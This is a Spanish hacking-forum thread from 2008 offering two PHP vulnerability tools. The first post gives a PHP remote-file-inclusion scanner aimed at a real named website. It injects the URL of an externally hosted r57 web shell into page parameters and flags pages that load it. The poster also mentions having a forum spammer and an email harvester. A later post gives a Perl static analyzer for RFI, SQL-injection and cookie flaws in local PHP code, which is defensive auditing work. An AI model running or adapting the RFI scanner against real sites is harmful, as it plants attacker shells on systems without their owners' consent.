Scanner RFI simple en PHP

Iniciado por alienmaster, 3 Octubre 2008, 12:38 PM

0 Miembros y 2 Visitantes están viendo este tema.

alienmaster

Hace un tiempo estuve pensando volver al hacking, en ese caso era entrar a S.H.T. (Spanish Hackers Team), y hablando con Joss me comento de hacer algun tool para hacer scanner masivamente a webs insertadas en un txt, lo comence de forma simple con la idea de mas tarde empliarlo para esvanear uns lista de webs, es decir que solo puede escanear una web, pero vamos que si sabes algo de php no te sera dificil modificarlo para que escanee todas las webs almacenadas en un txt. El escaner funciona de la siguiente manera:
1. Escanea el codigo fuente de la web en busca de variables en enlaces internos (ej: web.com/index.php?sección=pepe)
2. A las variables anteriores se le suman otras que el scanner trae por defecto, variables tipicas de modulacion de archivos.
3. Analiza distintos tipos de combinaciones de la web con esas variables y el valor de las variables una shell, y en caso de haber RFI te alerta.

Bien, por ultimo os dejo aqui el codigo, si veo que tras haber liberado este codigo no llega la plaga de gentuza modificando los creditos (que ya me ha ocurrido :S) seguire publicando tools que e programado, como por ejemplo algunas de ellas son un spammer para vbulletin, un spider de emails en foros, shell personal, entre otros...

Saludos especiales a Joss y nhh-32 ^^
scanner.php

<?
/*
RFI Scanner 1.0
Author: elefrEn
Website: http://elefren.com/
email: efnworkz@hotmail.com

Dedicated to Spanish Hackers Team
Gr33tz: -> JosS | nhh-32 | Omega <-
*/

set_time_limit(0);

#Config
$urlweb "www.guia-ubuntu.org";# Out http://, ex: google.com
$urlshell "http://usuarios.lycos.es/w0rms/r57.gif";# Url where you sent the shell script
$comunvars "cual|admindir|sec|id|file|doc|module|modulo|name";# Comun vars vulns to RFI in cms´s, etc...
$filetoscan "index.php";# The file that you want scan

#Funcs
function vars($url){
	
$xpl parse_url($url);$xpl $xpl[query];$xpl explode("&",$xpl);
	
$var 0;
	
while(
$var count($xpl)){
	
	
$v4r explode("=",$xpl[$var]);
	
	
$m0s .= '|'.$v4r[0];
	
	
$var++;
	
}
	
$m0s str_replace('amp;','',$m0s);
	
return 
$m0s;
}
function 
beerres($list$barras FALSE){
	
$s3p4 '<br>';
	
if(
$barras$s3p4 '|';
	
$list explode('|',$list);
	
$var 0;
	
while(
$var count($list)){
	
	
if(
$list[$var] != ''){
	
	
	
if(!@
preg_match("/$list[$var]/i",$m0s) ){
	
	
	
	
$m0s .= $list[$var].$s3p4;
	
	
	
}
	
	
}
	
	
$var++;
	
}
	
return 
$m0s;
}
function 
extrac($n00b$file FALSE){
	
$n0ob 'http://'.$n00b;
	
$source join("",file(&$n0ob));
	
$vars preg_match_all('/<a href="'.$file.'(.*)">(.*)<\/a>/i',$source,$results);
	
$t0t count($results[1]);
	
$var 0;
	
while(
$var $t0t){
	
	
$xtr explode('"',$results[1][$var]);
	
	
$urllist .= $xtr[0].'|';
	
	
$varlist .= vars($xtr[0]);
	
	
$var++;
	
}
	
$m0s .= $varlist;
	
return 
beerres($m0s,1);
}
function 
rfi($vars,$web,$file,$urlshell){
	
$list explode('|',$vars);
	
$var 0;
	
while(
$var count($list)){
	
	
$url $web.$file."?".$list[$var]."=".$urlshell."?";
	
	
$source join("",file(&$url));
	
	
if(
preg_match("/shell/i",$source)){
	
	
	
$m0s .= "<font color=red><b>RFI-></b></font> ";
	
	
}else{
	
	
	
$m0s .= "<font color=green><b>Secure-></b></font> ";
	
	
}
	
	
$m0s .= $url.'<br>';
	
	
$var++;
	
}
	
return 
$m0s;
}

#Exec
echo rfi(extrac($urlweb).$comunvars,'http://'.$urlweb.'/',$filetoscan,$urlshell);
?>

pepeluxx

Eso funciona?  :-X

Yo tengo un scanner de RFI en perl (un fuzzer) y basicamente lo que hago es:

1- abro el fichero PHP a analizar y le adjunto cada include o require que veo (ya que puedes tener definidas las variables en otro fichero que incluyas antes)

2- busco los require, include, require_once e include_once que cargen alguna variable (tipo $loquesea)

3- por cada include o require que encuentro, vuelvo a revisar el codigo a ver si esta o no definido

4- en el caso de que no este definido, es un posible RFI

Tambien hay que tener en cuenta las funciones (si el require o include esta dentro de una funcion, no puedes aprovecharte de el, ya que el parametro se pasa a la funcion)

Un saludo

alienmaster

Cita de: pepeluxx en  5 Octubre 2008, 13:01 PM
Eso funciona?  :-X

Yo tengo un scanner de RFI en perl (un fuzzer) y basicamente lo que hago es:

1- abro el fichero PHP a analizar y le adjunto cada include o require que veo (ya que puedes tener definidas las variables en otro fichero que incluyas antes)

2- busco los require, include, require_once e include_once que cargen alguna variable (tipo $loquesea)

3- por cada include o require que encuentro, vuelvo a revisar el codigo a ver si esta o no definido

4- en el caso de que no este definido, es un posible RFI

Tambien hay que tener en cuenta las funciones (si el require o include esta dentro de una funcion, no puedes aprovecharte de el, ya que el parametro se pasa a la funcion)

Un saludo

Si, funciona.

Lo que creo que dices que has programado es un scanner de codigo fuente PHP, el scanner que yo publico es analizando una web a la cual no tiene acceso a su codigo php.

Saludos

pepeluxx

Ah ok .. el mio escanea en local :)

berz3k

@pepeluxx

No veo por ningun lado la tool/fuzzer que comentas pepelux, post link or source code

-berz3k.

pepeluxx

Pues no lo puse porque esta a medias ... pero bueno, a falta de muchas revisiones y demas, pongo lo que llego hecho por si a alguien le es de utilidad ... y antes de que critiqueis .... ESTA A MEDIAS y NO CONTROLO MUCHO DE PERL

Tiene 3 opciones de busqueda:

>> RFI (Remote File Inclusion) <<
Busca requires, includes, require_once, include_once que llamen a variables (no tiene en cuenta las funciones) y es lo que mas depurado tengo

>> ICH (Insecure Cookie Handling) <<
Basicamente lo que hace es buscar apariciones de $_COOKIE ... no sirve de mucho pero te orienta acerca del uso de cookies y donde los usa

>> SQL (SQL Injection) <<
Busca posibles fallos de SQL en los que no estan definidas las variables que usa (por terminar)

No da resultados exactos ya que hay que hacer demasiadas comprobaciones y esta a medio programar, pero sirve para coger una orientacion de donde buscar los fallos.

Aqui van los codes ...

---- phpfuzzer.pl ---


#! /usr/bin/perl



require 'scan.pm';

require 'rfi.pm';

require 'ich.pm';

require 'sql.pm';



@ficheros = (); # nombre del fichero afectado

@comandos = (); # comando que tiene el fallo

@lineas = ();   # linea del fichero donde esta el fallo

@vbles = ();    # vable afectada

@tipos = ();    # tipo de fallo (RFI / SQL)



$log = "log.txt";

$lista_ficheros = "fichero.txt";

$fichero_tmp = "tmp.ph_";

open(LOG, ">$log");



print "\e[2J";

system(($^O eq 'MSWin32') ? 'cls' : 'clear');

#system(($^O eq 'MSWin32') ? ($so = "WINDOWS") : ($so = "LINUX"));



uso();

$ruta = $ARGV[0];
$ruta !~ /\/$/;


imprime("=- Directory to scan: $ruta*.php\"\n");



# creamos un listado de todos los ficheros PHP del directorio y subdirectorios

open(FICHERO, ">$lista_ficheros");

buscar_ficheros_php($ruta);

close(FICHERO);



#### comprobamos vulnerabilidades ####



# comprobamos las vulnerabilidades RFI
if ($modo =~ /RFI/)
{

rfi();



for ($i = 0; $i <= $#ficheros; $i++)

{

if ($tipos[$i] eq 'RFI')

{

print "   Possible Remote File Inclusion vulnerability found:\n";

print "   > File affected: $ficheros[$i]";

print "   > Sentence: $lineas[$i] -> $comandos[$i]\n";

print "   > Variable: = \$$vbles[$i]\n\n";


print LOG "   Possible Remote File Inclusion vulnerability found:\n";

print LOG "   > File affected: $ficheros[$i]";

print LOG "   > Sentence: $lineas[$i] -> $comandos[$i]\n";

print LOG "   > Variable: = \$$vbles[$i]\n\n";

}

}



print "\n";
}



#### comprobamos vulnerabilidades ####



# comprobamos las vulnerabilidades ICH
if ($modo =~ /ICH/)
{

ich();



for ($i = 0; $i <= $#ficheros; $i++)

{

if ($tipos[$i] eq 'ICH')

{

print "   Possible Insecure Cookie Handling vulnerability found:\n";

print "   > File affected: $ficheros[$i]";

print "   > Sentence: $lineas[$i] -> $comandos[$i]\n\n";


print LOG "   Possible Insecure Cookie Handling vulnerability found:\n";

print LOG "   > File affected: $ficheros[$i]";

print LOG "   > Sentence: $lineas[$i] -> $comandos[$i]\n\n";

}

}



print "\n";
}



# comprobamos las vulnerabilidades SQL

if ($modo =~ /SQL/)
{

sql();



for ($i = 0; $i <= $#ficheros; $i++)

{

if ($tipos[$i] eq 'SQL')

{

print "   Possible Remote SQL Injection vulnerability found:\n";

print "   > File affected: $ficheros[$i]";

print "   > Sentence: $comandos[$i]\n";

print "   > Variable: = \$$vbles[$i]\n\n";

}

}



print "\n";

}




imprime(":: End\n");

imprime("  |===|");

close(LOG);

print "\t << Log file was saved as $log >>\n\n";





sub uso()

{

imprime("=-|========================================-{ http://www.enye-sec.org }-=====|\n");

imprime("=-[ PHP Fuzzer v1.0 ]-=====================================================-=|\n");

imprime("=-|==========================================================================|\n");

imprime("=-[ by Pepelux <pepelux[at]enye-sec[dot]org> ]-==============================|\n\n");



$modo = "SQL RFI ICH";



ayuda() if ($#ARGV < 0 || $#ARGV > 1);

if ($#ARGV == 1)

{

if ($ARGV[1] eq 'SQL' || $ARGV[1] eq 'RFI' || $ARGV[1] eq 'ICH')

{
$modo = $ARGV[1];

}

else

{

ayuda();

}

}

}



sub ayuda()

{

print "Usage: perl $0 <directory_path> [RFI | SQL | ICH]\n\n";

print "\texamples:\n";
print "\t    Scan for RFI & SQL: perl $0 myPHPSite/src\n";

print "\t    Scan for SQL only : perl $0 myPHPSite/src SQL\n";

print "\t    Scan for RFI only : perl $0 myPHPSite/src\ RFI\n\n";

print "\t    Scan for ICH only : perl $0 myPHPSite/src\ ICH\n\n";

close(LOG);

exit();

}



sub imprime()

{

my $texto = shift;

print "$texto";

print LOG "$texto";

}


---- scan.pm ---


##############################################

# Search all PHP files in the (sub)directory #

##############################################

sub buscar_ficheros_php()

{

my $dir = shift;

   

if (opendir(DIRECTORIO, "$dir"))

{

foreach (readdir(DIRECTORIO))

{

# ignoramos . y ..

            next if ($_ eq "." || $_ eq "..");

           

# buscamos los ficheros terminados en .php

if ($_ =~ /.php$/)

{

print FICHERO "$dir/$_\n";

            }



buscar_ficheros_php("$dir/$_") if (-d "$dir/$_" && ! -l "$dir/$_");

}

               

closedir DIRECTORIO;

}

else

{

print "ERROR: can not read directory $dir\n";

    }

}



1;


---- rfi.pm ---


sub rfi()

{

print "\n:: Searching for possible Remote File Inclusion vulnerabilities\n";

print "  |============================================================|\n";

print LOG "\n:: Searching for possible Remote File Inclusion vulnerabilities\n";

print LOG "  |============================================================|\n";



$encontrado = 0;



open(FICHERO, "$lista_ficheros");



while(<FICHERO>)

{

$fichero_original = $_;

    organizar_fichero($_);

buscar_rfi($fichero_original, $fichero_tmp);

}



if ($encontrado == 0)

{

print "   Not RFI vulnerabilities found\n";

print LOG "   Not RFI vulnerabilities found\n";

}



close(FICHERO);

}



##############################

# Read a PHP for search RFIs #

##############################

sub buscar_rfi()

{

my $file = shift;

my $fileTmp = shift;

$clinea = 0;



open FICHERO_PHP, $file;


while(<FICHERO_PHP>)

{

$clinea++;



# buscamos includes o requires seguidos de ($

$cadena = $_;

if (($cadena  =~ /^\s*require\s*\(/ || $cadena  =~ /^\s*require\s*\"/ ||
      $cadena  =~ /^\s*require_once\s*\(/ || $cadena  =~ /^\s*require_once\s*\"/ ||
$cadena  =~ /^\s*include\s*\(/ || $cadena  =~ /^\s*include\s*\"/ ||
$cadena  =~ /^\s*include_once\s*\(/ || $cadena  =~ /^\s*include_once\s*\"/ )
&& $cadena !~ "^//" && $cadena =~ "\$")
{
$linea_original = $_;


@matriz = ();

extraer_datos_rfi($cadena);

for ($i = 0; $i <= $#matriz; $i++) {
$cadena = $matriz[$i];

if (uc($cadena)  !~ /_GET/ && uc($cadena)  !~ /_POST/ && uc($cadena)  !~ /_COOKIE/) {

if (uc($cadena)  =~ /\[/ || uc($cadena)  =~ /\]/) {

$cadena = "";
}

}



if (length($cadena) > 0)

{

if (!comprobar_rfi($fileTmp, $cadena) == 0)

{

$encontrado = 1;
$linea_original =~ s/\s*//g;

push(@ficheros, $fichero_original);

push(@comandos, $linea_original);

push(@lineas, $clinea);

push(@vbles, $cadena);

push(@tipos, "RFI");

}

}

}
}

}



close FICHERO_PHP;

}



sub comprobar_rfi()

{

my $file = shift;

my $var = shift;


chop($var);

open FICHERO_PHP2, $file;



while(<FICHERO_PHP2>)

{
$tmp = $_;
$tmp =~ s/\s*//g;
chop($tmp);

if ($tmp =~ /$var[A-Z|a-z]*\s*=/)

{
$x = index($tmp, $var);

if ($x < 2)
{
close(FICHERO_PHP2);

return 0;
}

}

}



close(FICHERO_PHP2);

return 1;

}



sub extraer_datos_rfi()
{
$cadena = shift;
$cadena =~ s/\s*require_once\s*//g;
$cadena =~ s/\s*require\s*//g;
$cadena =~ s/\s*include_once\s*//g;
$cadena =~ s/\s*include\s*//g;
$cadena =~ s/\(//g;

$cadena =~ s/\)\s*\;//g;

$cadena =~ s/\s*\n$//g;

$cadena =~ s/\s*;$//g;

$cadena =~ s/\s*\)$//g;

$cadena =~ s/\s*\"$//g;


do
{
$x = index($cadena, "\$");

if ($x > -1)
{
$y = 999;
$y1 = index($cadena, "\.", $x)-1;
$y2 = index($cadena, "/", $x)-1;
$y3 = index($cadena, ")", $x)-1;

if ($y1 < 0) { $y1 = 999; }
if ($y2 < 0) { $y2 = 999; }
if ($y3 < 0) { $y3 = 999; }

if ($y1 < $y) { $y = $ y1; }
if ($y2 < $y) { $y = $ y2; }
if ($y3 < $y) { $y = $ y3; }

if ($y > 0 && $y < 999)
{
$valor = substr($cadena, $x+1, $y-$x);
push(@matriz, $valor);
$cadena = substr($cadena, $y+1, length($cadena)-$y);
}
else
{
$valor = substr($cadena, $x+1, length($cadena)-$x-1);
push(@matriz, $valor);
$x = -1;
}
}
} while($x > 0);
}

1;



---- ich.pm ---


sub ich()

{

print "\n:: Searching for possible Insecure Cookie Handling vulnerabilities\n";

print "  |===============================================================|\n";

print LOG "\n:: Searching for possible Insecure Cookie Handling vulnerabilities\n";

print LOG "  |===============================================================|\n";



$encontrado = 0;



open(FICHERO, "$lista_ficheros");



while(<FICHERO>)

{

$fichero_original = $_;

    organizar_fichero($_);

buscar_ich($fichero_original, $fichero_tmp);

}



if ($encontrado == 0)

{

print "   Not ICH vulnerabilities found\n";

print LOG "   Not ICH vulnerabilities found\n";

}



close(FICHERO);

}



##############################

# Read a PHP for search ICHs #

##############################

sub buscar_ich()

{

my $file = shift;

my $fileTmp = shift;

$clinea = 0;



open FICHERO_PHP, $file;


while(<FICHERO_PHP>)

{

$clinea++;



# buscamos includes o requires seguidos de ($

$cadena = $_;

if ($cadena  =~ /\$_COOKIE/ && $cadena !~ "^//")
{
$linea_original = $_;


@matriz = ();


$encontrado = 1;
$linea_original =~ s/\s*//g;

push(@ficheros, $fichero_original);

push(@comandos, $linea_original);

push(@lineas, $clinea);

push(@vbles, '');

push(@tipos, "ICH");

}

}



close FICHERO_PHP;

}


1;



---- sql.pm ---


require "unir.pm";



sub sql()

{

print "\n:: Searching for possible SQL Injection vulnerabilities\n";

print "  |====================================================|\n";

print LOG "\n:: Searching for possible SQL Injection vulnerabilities\n";

print LOG "  |====================================================|\n";



$encontrado = 0;



open(FICHERO, "$lista_ficheros");



while(<FICHERO>)

{

$fichero_original = $_;

# print "   Creating a tmp file with: $_";

print LOG "   Creating a tmp file with: $_";

@includes = ();

organizar_fichero($_);

# print "\n   Analyzing vars in SQL SELECT sentences\n";

print LOG "\n   Analyzing vars in SQL SELECT sentences\n";

buscar_select($fichero_tmp);

# print "\n";

print LOG "\n";

}



if ($encontrado == 0)

{

print "   Not SQL vulnerabilities found\n";

print LOG "   Not SQL vulnerabilities found\n";

}



close(FICHERO);

}





#######################################

# Search vars in SQL SELECT sentences #

#######################################

sub buscar_select()

{

my $file = shift;



open FICHERO_PHP, $file;



while(<FICHERO_PHP>)

{

$linea = $_;

$linea_entera = $linea;



# dejamos la linea en blanco en caso de que sea un comentario

$linea = "" if ($linea =~ /^\s*\/\//);



if ((uc($linea)  =~ "SELECT" && uc($linea)  =~ "FROM" && uc($linea)  =~ "WHERE") ||

(uc($linea)  =~ "UPDATE" && uc($linea)  =~ "SET" && uc($linea)  =~ "WHERE") ||

(uc($linea)  =~ "DELETE" && uc($linea)  =~ "FROM" && uc($linea)  =~ "WHERE") ||

(uc($linea)  =~ "INSERT" && uc($linea)  =~ "INTO"))

{

$cadena = $linea;

$ini = index($cadena, "\"") + 1;

$cadena = substr($cadena, $ini, length($cadena) - $ini);

$fin = index($cadena, ";");

$cadena = substr($cadena, 0, $fin) if $fin > -1;



if ($cadena =~ /\$/)

{

# print "   > Found: $cadena\n";

print LOG "   > Found: $cadena\n";



if (uc($linea)  =~ "INSERT" && uc($linea)  =~ "INTO" && uc($linea)  =~ "VALUES")

{

# buscamos a partir de VALUES

$ini = index(uc($linea), "VALUES") + 6;

}

else

{

if (uc($linea)  =~ "INSERT" && uc($linea)  =~ "INTO")

{

# buscamos a partir de INTO

$ini = index(uc($linea), "INTO") + 6;

}

else

{

# buscamos a partir de WHERE

$ini = index(uc($linea), "WHERE") + 5;

}

}



$linea = substr($linea, $ini, length($linea) - $ini);

$salir = 0;



do

{

# buscamos a partir de $, que identifica la variable

$ini = index($linea, "\$") + 1;

if ($ini == 0)

{

$salir = 1;

}

else

{

$linea = substr($linea, $ini, length($linea) - $ini);

$sentencia = $linea;



if (uc($sentencia)  =~ "_GET")

{

$ini = index($sentencia, "_GET");

$fin = index($sentencia, "\]");

$sentencia = substr($linea, $ini+6, $fin-$ini-7);

}



if (uc($sentencia)  =~ "_POST")

{

$ini = index($sentencia, "_POST");

$fin = index($sentencia, "\]");

$sentencia = substr($linea, $ini+7, $fin-$ini-8);

}



# cortamos en ) si existe

$fin = index($sentencia, "\)");

$sentencia = substr($sentencia, 0, $fin) if $fin > -1;

# cortamos en ' si existe

$fin = index($sentencia, "\'");

$sentencia = substr($sentencia, 0, $fin) if $fin > -1;

# cortamos en " si existe

$fin = index($sentencia, "\"");

$sentencia = substr($sentencia, 0, $fin) if $fin > -1;

# cortamos en . si existe

$fin = index($sentencia, ".");

$sentencia = substr($sentencia, 0, $fin) if $fin > -1;

# quitamos basura del final

$fin = index($sentencia, " ");

$sentencia = substr($sentencia, 0, $fin) if $fin > -1;

$fin = index($sentencia, "%");

$sentencia = substr($sentencia, 0, $fin) if $fin > -1;

$fin = index($sentencia, ";");

$sentencia = substr($sentencia, 0, $fin) if $fin > -1;

$fin = index($sentencia, ",");

$sentencia = substr($sentencia, 0, $fin) if $fin > -1;



if ($sentencia  =~ /\[/ || $sentencia  =~ /\]/ || $sentencia  =~ /->/)

{

$sentencia = "";

}



if (length($sentencia) > 0)

{

$encontrado = 1;



if (comprobar_sql($file, $sentencia) == 0)

{

# print "\tChecking var: \$$sentencia ... not vulnerable\n\n";

print LOG "\tChecking var: \$$sentencia ... not vulnerable\n\n";

}

else

{

push(@ficheros, $fichero_original);

push(@comandos, $cadena);

push(@lineas, $lin);

push(@vbles, $sentencia);

push(@tipos, "SQL");

# print "\tChecking var: \$$sentencia ... VULNERABLE\n";

print LOG "\tChecking var: \$$sentencia ... VULNERABLE\n";

}

}

}

} while ($salir == 0);



# print "\n";

print LOG "\n";

}

}

}



close FICHERO_PHP;

}



sub comprobar_sql()

{

my $file = shift;

my $var = shift;



open FICHERO_PHP2, $file;



while(<FICHERO_PHP2>)

{

if ($_ =~ /\$$var\s*=/)

{

close(FICHERO_PHP2);

return 0;

}

}



close(FICHERO_PHP2);

return 1;

}



1;


---- unir.pm ---


###########################################################

# Organize a PHP file including all includes and requires #

###########################################################

sub organizar_fichero()

{

my $file = shift;

$cont = 0;

$clinea = 0;



open FICHERO_PHP, $file;

open FICHERO_TMP, ">$fichero_tmp";



while(<FICHERO_PHP>)

{

$clinea++;



$linea = uc($_);



# buscamos includes o requires seguidos de ("

# si encontramos alguno incluimos su contenido

# dentro del fichero temporal

if (($_  =~ /require\s*\(/ || $_  =~ /require\s*\"/ ||

   $_  =~ /require_once\s*\(/ || $_  =~ /require_once\s*\"/ ||

$_  =~ /include\s*\(/ || $_  =~ /include\s*\"/ ||

$_  =~ /include_once\s*\(/ || $_  =~ /include_once\s*\"/ )

&& $_ !~ "^//" && $_ !~/\$/)

{

$cadena = $_;

$ini = index($cadena, "\"") + 1;

$fin = index($cadena, "\"", $ini) - $ini;

$cadena = substr($cadena, $ini, $fin);


$cadenatmp = $file;

$ruta = '';



do

{

$ini = index($cadenatmp, '/');

$fin = length($cadenatmp) - $ini;

$ruta .= substr($cadenatmp, 0, $ini+1);

$cadenatmp = substr($cadenatmp, $ini+1, $fin);

} until ($ini == -1);



$ruta .= $cadena;



push(@includes, $ruta);

# print "   > Including: $ruta\n";



open FICHERO_INCLUDE, $ruta;



while(<FICHERO_INCLUDE>)

{

print FICHERO_TMP $_;

}



print FICHERO_TMP "\n";

close FICHERO_INCLUDE;

}

else

{

print FICHERO_TMP $_;

}

}



close FICHERO_TMP;

close FICHERO_PHP;
}



1;


berz3k

Vale pepeluxx, lo pruebo y te comento.

-berz3k.

sirdarckcat

pepelux: haz considerado manejar tu codigo en un control de versiones?
SVN?

http://code.google.com/hosting/createProject

;)

Saludos!!

pepeluxx

Cita de: sirdarckcat en  7 Octubre 2008, 16:34 PM
pepelux: haz considerado manejar tu codigo en un control de versiones?
SVN?

http://code.google.com/hosting/createProject

;)

Saludos!!

Conozco google code pero vamos, que mi miniprograma es algo muy casero y pequeño como para crear un control de versiones :P

sirdarckcat

no tiene que ser muy grande para usar SVN..
en este caso serviria perfectamente para que no tengas que subir el código cada que le hagas una modificación.. solo clickderecho->commit

Saludos!!